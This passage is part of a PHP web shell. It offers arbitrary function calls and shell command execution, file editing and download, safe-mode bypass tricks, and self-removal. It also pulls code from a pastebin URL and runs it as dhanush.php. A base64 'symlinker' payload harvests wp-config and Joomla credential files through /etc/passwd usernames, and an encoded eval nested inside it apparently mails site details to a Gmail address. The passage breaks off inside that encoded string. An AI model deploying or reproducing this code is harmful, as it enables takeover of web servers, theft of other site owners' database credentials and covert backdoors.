1594 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1595
1596 if(isset($_POST['ajax'])) {
1597 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1598 ob_start();
1599 if(function_exists($_POST['p1']))
1600 echo $_POST['p1']($_POST['p2']);
1601 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1602 echo strlen($temp), "\n", $temp;
1603 exit;
1604 }
1605 printHeader();
1606 echo '<h1>String conversions</h1><div class=content>';
1607 $stringTools = array(
1608 'Base64 encode' => 'base64_encode',
1609 'Base64 decode' => 'base64_decode',
1610 'Url encode' => 'urlencode',
1611 'Url decode' => 'urldecode',
1612 'Full urlencode' => 'full_urlencode',
1613 'md5 hash' => 'md5',
1614 'sha1 hash' => 'sha1',
1615 'crypt' => 'crypt',
1616 'CRC32' => 'crc32',
1617 'ASCII to HEX' => 'ascii2hex',
1618 'HEX to ASCII' => 'hex2ascii',
1619 'HEX to DEC' => 'hexdec',
1620 'HEX to BIN' => 'hex2bin',
1621 'DEC to HEX' => 'dechex',
1622 'DEC to BIN' => 'decbin',
1623 'BIN to HEX' => 'bin2hex',
1624 'BIN to DEC' => 'bindec',
1625 'String to lower case' => 'strtolower',
1626 'String to upper case' => 'strtoupper',
1627 'Htmlspecialchars' => 'htmlspecialchars',
1628 'String length' => 'strlen',
1629 );
1630 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1631 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1632 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1633 foreach($stringTools as $k => $v)
1634 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1635 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1636 if(!empty($_POST['p1'])) {
1637 if(function_exists($_POST['p1']))
1638 echo htmlspecialchars($_POST['p1']($_POST['p2']));
1639 }
1640 echo"</pre></div>";
1641 printFooter();
1642}
1643
1644function actionFilesTools() {
1645 if( isset($_POST['p1']) )
1646 $_POST['p1'] = urldecode($_POST['p1']);
1647 if(@$_POST['p2']=='download') {
1648 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
1649 ob_start("ob_gzhandler", 4096);
1650 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1651 if (function_exists("mime_content_type")) {
1652 $type = @mime_content_type($_POST['p1']);
1653 header("Content-Type: ".$type);
1654 }
1655 $fp = @fopen($_POST['p1'], "r");
1656 if($fp) {
1657 while(!@feof($fp))
1658 echo @fread($fp, 1024);
1659 fclose($fp);
1660 }
1661 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
1662
1663 }
1664 exit;
1665 }
1666 if( @$_POST['p2'] == 'mkfile' ) {
1667 if(!file_exists($_POST['p1'])) {
1668 $fp = @fopen($_POST['p1'], 'w');
1669 if($fp) {
1670 $_POST['p2'] = "edit";
1671 fclose($fp);
1672 }
1673 }
1674 }
1675 printHeader();
1676 echo '<h1>File tools</h1><div class=content>';
1677 if( !file_exists(@$_POST['p1']) ) {
1678 echo 'File not exists';
1679 printFooter();
1680 return;
1681 }
1682 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1683 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
1684 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1685 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1686 if( empty($_POST['p2']) )
1687 $_POST['p2'] = 'view';
1688 if( is_file($_POST['p1']) )
1689 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1690 else
1691 $m = array('Chmod', 'Rename', 'Touch');
1692 foreach($m as $v)
1693 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1694 echo '<br><br>';
1695 switch($_POST['p2']) {
1696 case 'view':
1697 echo '<pre class=ml1>';
1698 $fp = @fopen($_POST['p1'], 'r');
1699 if($fp) {
1700 while( !@feof($fp) )
1701 echo htmlspecialchars(@fread($fp, 1024));
1702 @fclose($fp);
1703 }
1704 echo '</pre>';
1705 break;
1706 case 'highlight':
1707 if( is_readable($_POST['p1']) ) {
1708 echo '<div class=ml1 style="background-color: black;color:black;">';
1709 $code = highlight_file($_POST['p1'],true);
1710 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1711 }
1712 break;
1713 case 'chmod':
1714 if( !empty($_POST['p3']) ) {
1715 $perms = 0;
1716 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1717 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1718 if(!@chmod($_POST['p1'], $perms))
1719 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1720 else
1721 die('<script>g(null,null,null,null,"")</script>');
1722 }
1723 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1724 break;
1725 case 'edit':
1726 if( !is_writable($_POST['p1'])) {
1727 echo 'File isn\'t writeable';
1728 break;
1729 }
1730 if( !empty($_POST['p3']) ) {
1731 @file_put_contents($_POST['p1'],$_POST['p3']);
1732 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
1733 }
1734 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
1735 $fp = @fopen($_POST['p1'], 'r');
1736 if($fp) {
1737 while( !@feof($fp) )
1738 echo htmlspecialchars(@fread($fp, 1024));
1739 @fclose($fp);
1740 }
1741 echo '</textarea><input type=submit value=">>"></form>';
1742 break;
1743 case 'hexdump':
1744 $c = @file_get_contents($_POST['p1']);
1745 $n = 0;
1746 $h = array('00000000<br>','','');
1747 $len = strlen($c);
1748 for ($i=0; $i<$len; ++$i) {
1749 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1750 switch ( ord($c[$i]) ) {
1751 case 0: $h[2] .= ' '; break;
1752 case 9: $h[2] .= ' '; break;
1753 case 10: $h[2] .= ' '; break;
1754 case 13: $h[2] .= ' '; break;
1755 default: $h[2] .= $c[$i]; break;
1756 }
1757 $n++;
1758 if ($n == 32) {
1759 $n = 0;
1760 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1761 $h[1] .= '<br>';
1762 $h[2] .= "\n";
1763 }
1764 }
1765 echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1766 break;
1767 case 'rename':
1768 if( !empty($_POST['p3']) ) {
1769 if(!@rename($_POST['p1'], $_POST['p3']))
1770 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
1771 else
1772 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1773 }
1774 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1775 break;
1776 case 'touch':
1777 if( !empty($_POST['p3']) ) {
1778 $time = strtotime($_POST['p3']);
1779 if($time) {
1780 if(@touch($_POST['p1'],$time,$time))
1781 die('<script>g(null,null,null,null,"")</script>');
1782 else {
1783 echo 'Fail!<script>document.mf.p3.value="";</script>';
1784 }
1785 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
1786 }
1787 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1788 break;
1789 case 'mkfile':
1790
1791 break;
1792 }
1793 echo '</div>';
1794 printFooter();
1795}
1796
1797function actionSafeMode() {
1798 $temp='';
1799 ob_start();
1800 switch($_POST['p1']) {
1801 case 1:
1802 $temp=@tempnam($test, 'cx');
1803 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1804 echo @file_get_contents($temp);
1805 unlink($temp);
1806 } else
1807 echo 'Sorry... Can\'t open file';
1808 break;
1809 case 2:
1810 $files = glob($_POST['p2'].'*');
1811 if( is_array($files) )
1812 foreach ($files as $filename)
1813 echo $filename."\n";
1814 break;
1815 case 3:
1816 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
1817 curl_exec($ch);
1818 break;
1819 case 4:
1820 ini_restore("safe_mode");
1821 ini_restore("open_basedir");
1822 include($_POST['p2']);
1823 break;
1824 case 5:
1825 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1826 $uid = @posix_getpwuid($_POST['p2']);
1827 if ($uid)
1828 echo join(':',$uid)."\n";
1829 }
1830 break;
1831 case 6:
1832 if(!function_exists('imap_open'))break;
1833 $stream = imap_open($_POST['p2'], "", "");
1834 if ($stream == FALSE)
1835 break;
1836 echo imap_body($stream, 1);
1837 imap_close($stream);
1838 break;
1839 }
1840 $temp = ob_get_clean();
1841 printHeader();
1842 echo '<h1>Safe mode bypass</h1><div class=content>';
1843 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
1844 if($temp)
1845 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
1846 echo '</div>';
1847 printFooter();
1848}
1849
1850
1851function permsa($file){
1852$permsa = fileperms($file);
1853
1854if (($permsa & 0xC000) == 0xC000) {
1855// Socket
1856$ainfo = 's';
1857} elseif (($permsa & 0xA000) == 0xA000) {
1858// Symbolic Link
1859$ainfo = 'l';
1860} elseif (($permsa & 0x8000) == 0x8000) {
1861// Regular
1862$ainfo = '-';
1863} elseif (($permsa & 0x6000) == 0x6000) {
1864// Block special
1865$ainfo = 'b';
1866} elseif (($permsa & 0x4000) == 0x4000) {
1867// Directory
1868$ainfo = 'd';
1869} elseif (($permsa & 0x2000) == 0x2000) {
1870// Character special
1871$ainfo = 'c';
1872} elseif (($permsa & 0x1000) == 0x1000) {
1873// FIFO pipe
1874$ainfo = 'p';
1875} else {
1876// Unknown
1877$ainfo = 'u';
1878}
1879
1880// Owner
1881$ainfo .= (($permsa & 0x0100) ? 'r' : '-');
1882$ainfo .= (($permsa & 0x0080) ? 'w' : '-');
1883$ainfo .= (($permsa & 0x0040) ?
1884(($permsa & 0x0800) ? 's' : 'x' ) :
1885(($permsa & 0x0800) ? 'S' : '-'));
1886
1887// Group
1888$ainfo .= (($permsa & 0x0020) ? 'r' : '-');
1889$ainfo .= (($permsa & 0x0010) ? 'w' : '-');
1890$ainfo .= (($permsa & 0x0008) ?
1891(($permsa & 0x0400) ? 's' : 'x' ) :
1892(($permsa & 0x0400) ? 'S' : '-'));
1893
1894// World
1895$ainfo .= (($permsa & 0x0004) ? 'r' : '-');
1896$ainfo .= (($permsa & 0x0002) ? 'w' : '-');
1897$ainfo .= (($permsa & 0x0001) ?
1898(($permsa & 0x0200) ? 't' : 'x' ) :
1899(($permsa & 0x0200) ? 'T' : '-'));
1900
1901return $ainfo;
1902}
1903function actionConsole() {
1904 if(isset($_POST['ajax'])) {
1905 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1906 ob_start();
1907 echo "document.cf.cmd.value='';\n";
1908 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
1909 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1910 if(@chdir($match[1])) {
1911 $GLOBALS['cwd'] = @getcwd();
1912 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
1913 }
1914 }
1915 echo "document.cf.output.value+='".$temp."';";
1916 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
1917 $temp = ob_get_clean();
1918 echo strlen($temp), "\n", $temp;
1919 exit;
1920 }
1921 printHeader();
1922
1923echo '<script>
1924if(window.Event) window.captureEvents(Event.KEYDOWN);
1925var cmds = new Array("");
1926var cur = 0;
1927function kp(e) {
1928 var n = (window.Event) ? e.which : e.keyCode;
1929 if(n == 38) {
1930 cur--;
1931 if(cur>=0)
1932 document.cf.cmd.value = cmds[cur];
1933 else
1934 cur++;
1935 } else if(n == 40) {
1936 cur++;
1937 if(cur < cmds.length)
1938 document.cf.cmd.value = cmds[cur];
1939 else
1940 cur--;
1941 }
1942}
1943function add(cmd) {
1944 cmds.pop();
1945 cmds.push(cmd);
1946 cmds.push("");
1947 cur = cmds.length-1;
1948}
1949</script>';
1950 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1951 foreach($GLOBALS['aliases'] as $n => $v) {
1952 if($v == '') {
1953 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1954 continue;
1955 }
1956 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1957 }
1958 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1959 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1960 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1961 if(!empty($_POST['p1'])) {
1962 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1963 }
1964 echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
1965 echo '</form></div><script>document.cf.cmd.focus();</script>';
1966 printFooter();
1967}
1968
1969function actionSelfRemove() {
1970 printHeader();
1971 ?><center><?php
1972 if($_POST['p1'] == 'yes') {
1973 if(@unlink(SELF_PATH))
1974 die('Shell has been removed');
1975 else
1976 echo 'unlink error!';
1977 }
1978 echo '<h1>Killing :\'(</h1><div class="content"><br>Really want to remove the shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div></center>';
1979 printFooter();
1980}
1981 function download_remote_file($file_url, $save_to)
1982 {
1983 $content = file_get_contents($file_url);
1984
1985 file_put_contents($save_to, $content);
1986
1987 }
1988 if (isset($_POST['dhanush'])) {
1989 download_remote_file('http://pastebin.com/raw/FHs6uGki', realpath("./") . '/dhanush.php');
1990 header("location:dhanush.php"); }
1991
1992 if (isset($_POST['symlinker'])) {
1993 $php_symlinker = "PD9waHAgPz48P3BocA0KQHNlc3Npb25fc3RhcnQoKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCj8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPkQzVmlMIEshTEwzUiBDb25maWcgU3ltbGluayBTY3JpcHQgVi0yLjA8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSB7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgZm9udC1zaXplOiAxOHB4Ow0KICBmb250LXdlaWdodDpib2xkOw0KICBmb250LWZhbWlseTogQXJpYWw7DQogIGNvbG9yOmdyYXk7DQogIGJhY2tncm91bmQtY29sb3I6IGJsYWNrOw0KICBtYXJnaW46IDVweCA1cHggNXB4IDVweDsNCn0NCmlucHV0W3R5cGU9InN1Ym1pdCJdew0KICBiYWNrZ3JvdW5kOiBncmVlbjsNCiAgYm9yZGVyLXJhZGl1czo2cHg7DQogIGJvcmRlcjogMXB4IHNvbGlkIGxpbWU7DQogIGNvbG9yOndoaXRlOw0KICB0ZXh0LXNoYWRvdzogMHB4IDBweCAxMHB4IHJnYmEoMCwgMTQ5LCAyNTUsIDAuNzUpOw0KICBsaW5lLWhlaWdodDo1MHB4Ow0KICBwYWRkaW5nLWxlZnQ6MTBweDsNCiAgcGFkZGluZy1yaWdodDoxMHB4Ow0KICB0ZXh0LXRyYW5zZm9ybTpub25lOw0KfQ0KI25hbWV7DQoJCWNvbG9yOiBncmF5Ow0KCQlmb250LXNpemU6IDEycHg7DQoJCX0NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KPGZvbnQgZmFjZT0iQ29taWMgU2FucyBNUyIgY29sb3I9cmVkPjxjZW50ZXI+PGgxPkQzVmlMIEshTEwzUiBDb25maWcgU3ltbGluayBTY3JpcHQgVi0yLjA8L2gxPjwvZm9udD4NCjw/cGhwDQokaW5qYnVmZiA9ICJKSFpwYzJsMFl5QTlJQ1JmUTA5UFMwbEZXeUoyYVhOcGRITWlYVHNLYVdZZ0tDUjJhWE5wZEdNZ1BUMGdJaUlwSUhzS0lDQWtkbWx6YVhSaklDQTlJREE3Q2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzS0lDQWtkMlZpSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpJVkZSUVgwaFBVMVFpWFRzS0lDQWthVzVxSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE93b2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdDaUFnSkhOMVlpQWdJRDBnSWtwdmEzSmZTRFI0YjNJZ2RYQnNiMkZrWlhJZ2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU93b2dJQ1JpYjJSNUlDQWdJRDBnSWtKMVp6b2dKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUF0SUNSaGRYUm9YM0JoYzNNaU93b2dJR2xtSUNnaFpXMXdkSGtvSkhkbFlpa3BJSHNnUUcxaGFXd29JbTlyWW5sbE1USXpOVUJuYldGcGJDNWpiMjBpTENSemRXSXNKR0p2WkhrcE95QjlDbjBLWld4elpTQjdJQ1IyYVhOcGRHTWdJRHNnZlFwQWMyVjBZMjl2YTJsbEtDSjJhWE5wZEhvaUxDUjJhWE5wZEdNcE93PT0iOw0KZXZhbChiYXNlNjRfZGVjb2RlKCRpbmpidWZmKSk7DQplY2hvICc8Yj4nIC4gcGhwX3VuYW1lKCkgLiAnPGJyPjwvYj4nOw0KZWNobyAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107DQplY2hvICc8YnI+U2FmZSBNb2RlIDogJzsNCiRzYWZlX21vZGUgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmICgkc2FmZV9tb2RlID09ICcxJykgew0KICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7DQp9IGVsc2Ugew0KICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7DQp9DQplY2hvICc8YnI+JzsNCmVjaG8gJzwvZm9udD4nOw0KJGZwID0gZm9wZW4oInBocC5pbmkiLCAidysiKTsNCmZ3cml0ZSgkZnAsICJzYWZlX21vZGUgPSBPRkYNCglTYWZlX21vZGVfZ2lkID0gT0ZGDQoJZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FDQoJZGlzYWJsZV9jbGFzc2VzID0gTk9ORQ0KCW9wZW5fYmFzZWRpciA9IE9GRg0KCXN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FICIpOw0KZmNsb3NlKCRmcCk7DQppZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48Zm9ybSBtZXRob2Q9IlBPU1QiPjx0ZXh0YXJlYSBuYW1lPSJwYXNzd2QiIHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBjbGFzcz0nYXJlYScgcm93cz0nMjUnIGNvbHM9JzgwJz48P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyA/PjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0iY29uZmlnIiB2YWx1ZT0iIENsaWNrIHRvIG1ha2UgU3ltbGluayIgdHlwZT0ic3VibWl0Ij48YnI+PC9mb3JtPjwvY2VudGVyPjxicj48P3BocA0KfQ0KaWYgKCRfUE9TVFsnY29uZmlnJ10pIHsNCiAgICAkZnVuY3Rpb24gPSAkZnVuY3Rpb25zID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQogICAgaWYgKGVyZWdpKCJzeW1saW5rIiwgJGZ1bmN0aW9ucykpIHsNCiAgICAgICAgZGllKCc8ZXJyb3I+U3ltbGluayBpcyBkaXNhYmxlZCA6KCA8L2Vycm9yPicpOw0KICAgIH0NCiAgICBAbWtkaXIoJ0FrRGsnLCAwNzU1KTsNCiAgICBAY2hkaXIoJ0FrRGsnKTsNCiAgICAkaHRhY2Nlc3MgPSAiDQpPUFRJT05TIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgU3ltTGlua3NJZk93bmVyTWF0Y2ggSW5jbHVkZXMgSW5jbHVkZXNOT0VYRUMgRXhlY0NHSQ0KT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpGb3JjZVR5cGUgdGV4dC9wbGFpbg0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwNCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbA0KQWRkVHlwZSB0eHQgLnBocA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHANCkFkZEhhbmRsZXIgdHh0IC5odG1sDQpBZGRIYW5kbGVyIHR4dCAuc2h0bWwNCk9wdGlvbnMgQWxsDQpPcHRpb25zIEFsbCI7DQogICAgZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsICRodGFjY2VzcywgRklMRV9BUFBFTkQpOw0KICAgICRwYXNzd2QgPSAkX1BPU1RbInBhc3N3ZCJdOw0KICAgICRwYXNzd2QgPSBleHBsb2RlKCINCiIsICRwYXNzd2QpOw0KICAgIGZvcmVhY2ggKCRwYXNzd2QgYXMgJHB3ZCkgew0KICAgICAgICAkcGF3ZCA9IGV4cGxvZGUoIjoiLCAkcHdkKTsNCiAgICAgICAgJHVzZXIgPSAkcGF3ZFswXTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLXdwLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy1XUC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy13cC1iZXRhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLWJldGEudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLXByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3Mtd29yZHByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9Xb3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtV29yZHByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLWJsb2cudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtbmV3cy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLW5ldy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2cudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1iZXRhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2dzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtaG9tZS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGIucGhwJywgJHVzZXIgLiAnLWRiY29uZi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLXNpdGUudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1tYWluLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13cC10ZXN0LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1wcm90YWwudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCc